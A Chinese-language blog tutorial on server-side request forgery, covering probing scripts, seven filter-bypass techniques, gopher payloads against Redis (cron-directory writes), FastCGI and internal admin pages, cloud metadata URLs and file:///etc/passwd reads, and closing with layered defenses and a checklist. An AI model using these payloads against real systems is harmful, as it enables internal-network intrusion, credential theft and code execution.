1. SSRF漏洞的本质与危害边界
当我在2017年第一次遭遇SSRF(Server-Side Request Forgery)漏洞时,它正通过一个图片上传功能悄悄渗透内网。这个看似无害的功能允许用户通过URL上传图片,却成了攻击者探测内网的完美通道。SSRF之所以危险,在于它让服务器成为攻击者的"代理",突破网络边界限制。
SSRF的核心是利用服务端发起请求的功能缺陷。常见触发点包括:
- 远程资源获取(图片/文件下载)
- 网页预览功能
- API接口的webhook回调
- 内部服务健康检查
我曾用以下方法验证漏洞存在性(切勿用于非法测试):
python复制# 测试DNS回显
payload = "http://yourburpcollaborator.example"
requests.get(f"{target_url}/fetch?url={payload}")
# 测试端口扫描
for port in [80, 443, 8080]:
try:
requests.get(f"{target_url}/api/check?host=127.0.0.1:{port}", timeout=3)
print(f"Port {port} is open")
except:
continue
协议处理差异是漏洞利用的关键突破口。某次渗透测试中,我发现目标系统对HTTP协议做严格过滤,但允许使用更底层的Gopher协议直接构造TCP数据包。不同语言对协议的支持程度差异明显:
| 语言/环境 | HTTP支持 | FILE支持 | GOPHER支持 | DNS支持 |
|---|---|---|---|---|
| PHP cURL | ✔️ | ✔️ | ✔️ | ❌ |
| Python requests | ✔️ | ❌ | ❌ | ❌ |
| Java URLConnection | ✔️ | ✔️ | ❌ | ❌ |
关键发现:当遇到SSRF防护时,尝试切换协议往往能绕过基础防御。某次实战中,通过将
http://替换为dict://成功获取了Redis服务信息。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 绕过防御的七种进阶技巧
去年在某金融系统渗透测试中,我遇到了一个"完美"的SSRF防护方案:它过滤了所有内网IP段和特殊协议,甚至检查了DNS解析记录。经过两周研究,最终通过组合技突破了防线。以下是实战验证过的绕过方案:
2.1 域名重定向攻击链
- 注册一个指向127.0.0.1的域名(如
localhost.example.com) - 使用短网址服务生成跳转链接
- 利用服务端不跟随重定向的特性,构造:
http复制GET /proxy?url=http://tinyurl.com/redirect-to-localhost
2.2 IPv6与CIDR表示法混淆
某云服务商的WAF只检测IPv4格式的内网地址,但允许IPv6:
code复制http://[::ffff:127.0.0.1]/admin
http://[0:0:0:0:0:ffff:7f00:1]/api
2.3 DNS解析投毒
控制DNS服务器使特定域名解析到内网IP,配合TTL缓存机制:
bash复制# 在可控DNS服务器配置
evil.com. IN A 10.0.0.1
evil.com. IN A 192.168.1.1
2.4 协议混淆技巧
- URL编码绕过:
http://example.com@127.0.0.1 - 十六进制IP:
http://0x7f000001 - 十进制IP:
http://2130706433 - 省略协议头:
//127.0.0.1/data
2.5 文件协议利用
当允许file协议时,可读取服务器敏感文件:
code复制file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
2.6 服务端请求走私
利用HTTP头注入构造畸形请求:
http复制POST /proxy HTTP/1.1
Host: target.com
Content-Length: 56
GET http://internal-service/admin HTTP/1.1
X-Ignore-This:
2.7 云服务元数据接口利用
AWS、Azure等云平台的元数据接口是SSRF的高价值目标:
code复制http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data
3. Gopher协议的深度武器化
在2019年某次红队行动中,Gopher协议帮我拿下了三台内网Redis服务器。这个几乎被遗忘的协议,却是SSRF利用的"瑞士军刀"。通过它可以直接构造任意TCP协议流量,以下是实战案例:
3.1 攻击Redis服务
python复制import urllib.parse
payload = """
SET mykey "exploit"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
"""
gopher = "gopher://127.0.0.1:6379/_" + urllib.parse.quote(payload.replace("\n","\r\n"))
3.2 攻击FastCGI
python复制fcgi_payload = """
... [FastCGI协议二进制数据] ...
"""
gopher = "gopher://127.0.0.1:9000/_" + urllib.parse.quote(fcgi_payload)
3.3 攻击内网Web服务
通过CRLF注入伪造管理员Cookie:
code复制gopher://internal-web:8080/_GET%20/admin%20HTTP/1.1%0D%0AHost:%20internal-web%0D%0ACookie:%20admin=true%0D%0A%0D%0A
协议限制对比表:
| 协议 | 需要DNS解析 | 支持SSL | 可控制端口 | 可注入头 |
|---|---|---|---|---|
| HTTP | ✔️ | ✔️ | ✔️ | ❌ |
| GOPHER | ❌ | ❌ | ✔️ | ✔️ |
| DICT | ❌ | ❌ | ✔️ | ❌ |
| FILE | ❌ | ❌ | ❌ | ❌ |
经验之谈:现代WAF通常不会深度检测Gopher协议流量,这是它至今仍有效的根本原因。某次测试中,我通过Gopher+Redis组合技在10分钟内获得了shell。
4. 防御体系的构建与突破测试
去年为某银行设计SSRF防护方案时,我们采用了五层防御机制,仍被红队找到突破口。以下是企业级防护的完整方案与对应绕过方法:
4.1 输入验证层
防御方案:
- 正则过滤内网IP段(10.0.0.0/8, 172.16.0.0/12等)
- 禁用非常用协议(gopher, dict, file等)
- 域名白名单机制
绕过方法:
- 使用
localhost.结尾的域名(许多DNS解析器会忽略末尾点) - 利用国际化域名(IDN)同形异义字
- 使用IPv6的压缩格式
[::1]
4.2 解析验证层
防御方案:
- 强制DNS解析并验证IP归属
- 检查DNS记录的TTL值
- 禁止指向保留地址
绕过方法:
- 使用DNS重绑定攻击(TTL=0)
- 利用DNS缓存投毒
- 使用
xip.io类动态DNS服务
4.3 请求隔离层
防御方案:
- 使用沙箱环境处理请求
- 剥离敏感HTTP头(如Host, Cookie)
- 限制响应大小
绕过方法:
- 通过请求走私注入头
- 使用分块传输编码绕过长度检查
- 利用307重定向跳出沙箱
4.4 行为监控层
防御方案:
- 异常端口检测
- 请求频率限制
- 响应内容分析
绕过方法:
- 使用80端口访问非HTTP服务
- 通过时间延迟规避频率限制
- 编码响应数据(如base64)
4.5 网络隔离层
防御方案:
- 微服务间双向TLS认证
- 关键服务独立网络平面
- 出口流量过滤
绕过方法:
- 利用已信任的中间件跳转
- 攻击服务网格的sidecar
- 通过云服务元数据接口横向移动
企业级防护checklist:
- 协议白名单(仅允许HTTP/HTTPS)
- 实时DNS解析验证
- 请求目标IP归属检查
- 响应内容类型强制匹配
- 请求-响应时间差监控
- 与云安全组联动的动态封禁
在最近的测试中,我们发现即使部署了所有防护措施,通过精心构造的DNS重绑定攻击仍可能突破防御。最有效的方案是结合网络层的服务认证与应用层的深度协议分析。
